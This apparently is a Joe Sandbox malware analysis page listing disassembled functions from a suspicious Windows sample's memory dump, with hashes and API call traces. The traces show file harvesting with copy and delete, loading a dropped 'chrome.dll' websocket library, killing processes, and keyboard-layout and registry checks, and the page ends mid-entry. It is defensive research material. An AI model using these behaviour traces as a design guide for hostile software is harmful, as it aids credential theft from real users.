String ID: +ay$+ay
API String ID: 1008454911-701230671
Opcode ID: c40661119c90aa45108dabec464b37366dbb11a8e05c593b46167d6ef660f6e7
Instruction ID: 1112e9275869b6a2d360f059893920ced0d786d049b1592c565c4e732b383035
Opcode Fuzzy Hash: c40661119c90aa45108dabec464b37366dbb11a8e05c593b46167d6ef660f6e7
Instruction Fuzzy Hash: 3E3116B4A44218EBDB20DF94DC85BDCB7B4BB48305F1081D8FA09B7291CB746AC58F98

Function 00781710 Relevance: 16.2, APIs: 7, Strings: 2, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0079AA50: lstrcpy.KERNEL32(007A0AF3,00000000), ref: 0079AA98

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,007A523C,?,00781F6C,?,007A52E4,?,?,00000000,?,00000000), ref: 00781963
StrCmpCA.SHLWAPI(?,007A538C), ref: 007819B3
StrCmpCA.SHLWAPI(?,007A5434), ref: 007819C9
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00781D80
DeleteFileA.KERNEL32(00000000), ref: 00781E0A
FindNextFileA.KERNEL32(000000FF,?), ref: 00781E60
FindClose.KERNEL32(000000FF), ref: 00781E72

Part of subcall function 0079AC30: lstrcpy.KERNEL32(00000000,?), ref: 0079AC82
Part of subcall function 0079AC30: lstrcatA.KERNEL32(00000000), ref: 0079AC92

Part of subcall function 0079ACC0: lstrlenA.KERNEL32(?,007A10F8,?,00000000,007A0AF3), ref: 0079ACD5
Part of subcall function 0079ACC0: lstrcpy.KERNEL32(00000000), ref: 0079AD14
Part of subcall function 0079ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0079AD22

Part of subcall function 0079ABB0: lstrcpy.KERNEL32(?,007A0AF3), ref: 0079AC15

Strings

X, xrefs: 00781D1A
\*.*, xrefs: 00781831

Memory Dump Source

Source File: 00000000.00000002.2569662027.0000000000781000.00000080.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.2569628567.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569707779.000000000079E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569739767.00000000007AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000856000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000866000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000894000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000091B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000927000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000092A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2570406057.0000000000A68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID: X$\*.*
API String ID: 1415058207-3261299616
Opcode ID: f53d73ba79c033133f9f1cd087565815013d028dd432424aaeb51c29616bb2b4
Instruction ID: abe9e9c90db2991ab83ce5082b5d1d9b76f72a8a7fb4bff9bf5bc5e420b635ad
Opcode Fuzzy Hash: f53d73ba79c033133f9f1cd087565815013d028dd432424aaeb51c29616bb2b4
Instruction Fuzzy Hash: 631200B1911118EBCF15FB60EC6AEEE7379AF55300F4045D9B10666091EF386B89CFA1

Function 0078DB80 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0079AA50: lstrcpy.KERNEL32(007A0AF3,00000000), ref: 0079AA98

Part of subcall function 0079AC30: lstrcpy.KERNEL32(00000000,?), ref: 0079AC82
Part of subcall function 0079AC30: lstrcatA.KERNEL32(00000000), ref: 0079AC92

Part of subcall function 0079ACC0: lstrlenA.KERNEL32(?,007A10F8,?,00000000,007A0AF3), ref: 0079ACD5
Part of subcall function 0079ACC0: lstrcpy.KERNEL32(00000000), ref: 0079AD14
Part of subcall function 0079ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0079AD22

Part of subcall function 0079ABB0: lstrcpy.KERNEL32(?,007A0AF3), ref: 0079AC15

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,007A15A8,007A0BAF), ref: 0078DBEB
StrCmpCA.SHLWAPI(?,007A15AC), ref: 0078DC33
StrCmpCA.SHLWAPI(?,007A15B0), ref: 0078DC49
FindNextFileA.KERNELBASE(000000FF,?), ref: 0078DECC
FindClose.KERNEL32(000000FF), ref: 0078DEDE

Memory Dump Source

Source File: 00000000.00000002.2569662027.0000000000781000.00000080.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.2569628567.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569707779.000000000079E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569739767.00000000007AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000856000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000866000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000894000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000091B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000927000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000092A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2570406057.0000000000A68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: 6f47e4a4a1a05fe53f4e5588d16a19175b8d5d77150dce2174dfb63ffc2db8fa
Instruction ID: 80e4e47e2b0b540e6135f2adbf131fdd358b3dd22a872a5a9b35baf52c744eff
Opcode Fuzzy Hash: 6f47e4a4a1a05fe53f4e5588d16a19175b8d5d77150dce2174dfb63ffc2db8fa
Instruction Fuzzy Hash: 8091E372A00204EBCF14FBB4FD5A9ED737DAB94340F408658F91696181EE389B58CBD6

Function 0078A090 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 31libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(C:\ProgramData\chrome.dll,?,007908E4), ref: 0078A098
GetProcAddress.KERNEL32(6CF70000,connect_to_websocket), ref: 0078A0BE
GetProcAddress.KERNEL32(6CF70000,free_result), ref: 0078A0D5
FreeLibrary.KERNEL32(6CF70000,?,007908E4), ref: 0078A0F9

Strings

C:\ProgramData\chrome.dll, xrefs: 0078A093
free_result, xrefs: 0078A0C9
connect_to_websocket, xrefs: 0078A0B3

Memory Dump Source

Source File: 00000000.00000002.2569662027.0000000000781000.00000080.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.2569628567.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569707779.000000000079E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569739767.00000000007AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000856000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000866000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000894000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000091B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000927000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000092A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2570406057.0000000000A68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_file.jbxd

Yara matches

Similarity

API ID: AddressLibraryProc$FreeLoad
String ID: C:\ProgramData\chrome.dll$connect_to_websocket$free_result
API String ID: 2256533930-1545816527
Opcode ID: 9f14245c134698c2b05b4cb2cade1f15b3b77828b39dbd10afc990e066e61248
Instruction ID: 1769f42ea0fd0786c4460a5959eda545062606dd9531f2f87c581c0ce74243aa
Opcode Fuzzy Hash: 9f14245c134698c2b05b4cb2cade1f15b3b77828b39dbd10afc990e066e61248
Instruction Fuzzy Hash: 8EF0F97494D304AFEB01EBA4FD4871936E4F349342F600526F105A62E0D3B89486CB52

Function 007998E0 Relevance: 12.1, APIs: 8, Instructions: 55processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00799905
Process32First.KERNEL32(00789FDE,00000128), ref: 00799919
Process32Next.KERNEL32(00789FDE,00000128), ref: 0079992E
StrCmpCA.SHLWAPI(?,00789FDE), ref: 00799943
OpenProcess.KERNEL32(00000001,00000000,?), ref: 0079995C
TerminateProcess.KERNEL32(00000000,00000000), ref: 0079997A
CloseHandle.KERNEL32(00000000), ref: 00799987
CloseHandle.KERNEL32(00789FDE), ref: 00799993

Memory Dump Source

Source File: 00000000.00000002.2569662027.0000000000781000.00000080.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.2569628567.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569707779.000000000079E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569739767.00000000007AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000856000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000866000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000894000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000091B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000927000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000092A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2570406057.0000000000A68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_file.jbxd

Yara matches

Similarity

API ID: CloseHandleProcessProcess32$CreateFirstNextOpenSnapshotTerminateToolhelp32
String ID:
API String ID: 2696918072-0
Opcode ID: 7e7bc11d725ad363347029a7b1311fc53eeb0f11984e78ec9d72845503f90c54
Instruction ID: d21d9b25763c470e7b720f5cfac99f35259c90744df7c58d4171ea81ad7d97ae
Opcode Fuzzy Hash: 7e7bc11d725ad363347029a7b1311fc53eeb0f11984e78ec9d72845503f90c54
Instruction Fuzzy Hash: 4811EFB5904318ABDB24DFA5EC48BDDB779BB88701F00458CF609B6250DB74AA85CF90

Function 0078E530 Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0079AA50: lstrcpy.KERNEL32(007A0AF3,00000000), ref: 0079AA98

Part of subcall function 0079AC30: lstrcpy.KERNEL32(00000000,?), ref: 0079AC82
Part of subcall function 0079AC30: lstrcatA.KERNEL32(00000000), ref: 0079AC92

Part of subcall function 0079ACC0: lstrlenA.KERNEL32(?,007A10F8,?,00000000,007A0AF3), ref: 0079ACD5
Part of subcall function 0079ACC0: lstrcpy.KERNEL32(00000000), ref: 0079AD14
Part of subcall function 0079ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0079AD22

Part of subcall function 0079ABB0: lstrcpy.KERNEL32(?,007A0AF3), ref: 0079AC15

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,007A0D79), ref: 0078E5A2
StrCmpCA.SHLWAPI(?,007A15F0), ref: 0078E5F2
StrCmpCA.SHLWAPI(?,007A15F4), ref: 0078E608
FindNextFileA.KERNEL32(000000FF,?), ref: 0078ECDF

Strings

\*.*, xrefs: 0078E54D
x, xrefs: 0078ECF5, 0078E6EB, 0078E81C, 0078E95B, 0078E5B9, 0078E6EE, 0078E81F, 0078E95E

Memory Dump Source

Source File: 00000000.00000002.2569662027.0000000000781000.00000080.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.2569628567.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569707779.000000000079E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569739767.00000000007AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000856000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000866000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000894000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000091B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000927000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000092A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2570406057.0000000000A68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: \*.*$x
API String ID: 433455689-2758290176
Opcode ID: 11f57eb7b23cb24cfcf57ecf7cfac1762c5e74f7f246211b813a5bbef9506323
Instruction ID: bd68a72966213547e79140198147acf30d97de7214f1359c23164b7cfdb6c679
Opcode Fuzzy Hash: 11f57eb7b23cb24cfcf57ecf7cfac1762c5e74f7f246211b813a5bbef9506323
Instruction Fuzzy Hash: 5612E272A11118EBCF14FB60EDAAEED7379AF55300F404599B50A56091EF386F48CBE2

Function 00797D20 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0079AA50: lstrcpy.KERNEL32(007A0AF3,00000000), ref: 0079AA98

GetKeyboardLayoutList.USER32(00000000,00000000,007A05B7), ref: 00797D71
LocalAlloc.KERNEL32(00000040,?), ref: 00797D89
GetKeyboardLayoutList.USER32(?,00000000), ref: 00797D9D
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00797DF2
LocalFree.KERNEL32(00000000), ref: 00797EB2

Strings

/ , xrefs: 00797E0F

Memory Dump Source

Source File: 00000000.00000002.2569662027.0000000000781000.00000080.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.2569628567.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569707779.000000000079E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569739767.00000000007AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000856000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000866000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000894000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000091B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000927000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000092A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2570406057.0000000000A68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_file.jbxd

Yara matches

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: f93ce15851c73eb9d250ad3e6a7a3a3259dbe2e3908c41da377362162db79da7
Instruction ID: 55e54a9ca45d474e92037605074f6a76503ed3bef2696ee2c8a74f81853a1638
Opcode Fuzzy Hash: f93ce15851c73eb9d250ad3e6a7a3a3259dbe2e3908c41da377362162db79da7
Instruction Fuzzy Hash: 7C414CB1955218EBCF24DB94EC99BEEB775FB44700F1041D9E00A66290DB382F84CFA1

Function 00797820 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00797834
HeapAlloc.KERNEL32(00000000), ref: 0079783B
RegOpenKeyExA.KERNEL32(80000002,00EDD468,00000000,00020119,00000000), ref: 0079786D
RegQueryValueExA.KERNEL32(00000000,00EE1148,00000000,00000000,?,000000FF), ref: 0079788E
RegCloseKey.ADVAPI32(00000000), ref: 00797898

Strings

Windows 11, xrefs: 0079784D

Memory Dump Source

Source File: 00000000.00000002.2569662027.0000000000781000.00000080.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.2569628567.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569707779.000000000079E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569739767.00000000007AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000856000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000866000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000894000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000091B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000927000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000092A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2570406057.0000000000A68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3466090806-2517555085
Opcode ID: 2e2a6d6401a9ac7693e4161472157af302cdba96fb707c72d55cf4ce6a1542e1
Instruction ID: 512a39d4ad2723e5421a6bf66d04739c444a7fb022753fc573c56f4d2db1421e
Opcode Fuzzy Hash: 2e2a6d6401a9ac7693e4161472157af302cdba96fb707c72d55cf4ce6a1542e1
Instruction Fuzzy Hash: FD014F75A08304FBEB04DBE4FD4AFAE7778FB48701F004194FA09A7290EA74A901CB90

Function 00799790 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 007997AE
Process32First.KERNEL32(007A0ACE,00000128), ref: 007997C2
Process32Next.KERNEL32(007A0ACE,00000128), ref: 007997D7
StrCmpCA.SHLWAPI(?,00000000), ref: 007997EC
CloseHandle.KERNEL32(007A0ACE), ref: 0079980A

Memory Dump Source

Source File: 00000000.00000002.2569662027.0000000000781000.00000080.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.2569628567.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569707779.000000000079E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569739767.00000000007AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000856000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000866000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000894000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000091B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000927000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000092A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2570406057.0000000000A68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_file.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: 4a919a9e043ff70a63dac2e9614e74618c0e10b920a4fcdeb4cf27403cdee9fb
Instruction ID: e398a3170ae836be0012091eb8aceb30946ea796c937162804a4e9a68b2a9706
Opcode Fuzzy Hash: 4a919a9e043ff70a63dac2e9614e74618c0e10b920a4fcdeb4cf27403cdee9fb
Instruction Fuzzy Hash: AD01E975A14308ABDF20DFA4ED44BEDB7B8BB08701F10468CE509A6240EB749A40CB50

Function 00798810 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 0079AA50: lstrcpy.KERNEL32(007A0AF3,00000000), ref: 0079AA98

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,007A05BF), ref: 0079885A
Process32First.KERNEL32(?,00000128), ref: 0079886E
Process32Next.KERNEL32(?,00000128), ref: 00798883

Part of subcall function 0079ACC0: lstrlenA.KERNEL32(?,007A10F8,?,00000000,007A0AF3), ref: 0079ACD5
Part of subcall function 0079ACC0: lstrcpy.KERNEL32(00000000), ref: 0079AD14
Part of subcall function 0079ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0079AD22

Part of subcall function 0079ABB0: lstrcpy.KERNEL32(?,007A0AF3), ref: 0079AC15

CloseHandle.KERNEL32(?), ref: 007988F1

Memory Dump Source

Source File: 00000000.00000002.2569662027.0000000000781000.00000080.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.2569628567.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569707779.000000000079E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569739767.00000000007AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000856000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000866000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000894000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000091B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000927000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000092A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2570406057.0000000000A68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 1066202413-0
Opcode ID: ba2a6036fd8d1d8e868466fb65e2ad2c2ae554e1f3a6fcbaa548ab58cadf0ce3
Instruction ID: 27f46590b784cb65d3bee7815ab9fe0fd7b4967829ddcf30502cbee5e626e1b7
Opcode Fuzzy Hash: ba2a6036fd8d1d8e868466fb65e2ad2c2ae554e1f3a6fcbaa548ab58cadf0ce3
Instruction Fuzzy Hash: 4E316DB1902218EBCF24EF95ED55FEEB379FB45700F104599F10AA61A0DB386A44CFA1

Function 0078A2B0 Relevance: 6.0, APIs: 4, Instructions: 50memoryencryptionCOMMON

Download Yara Rule

APIs

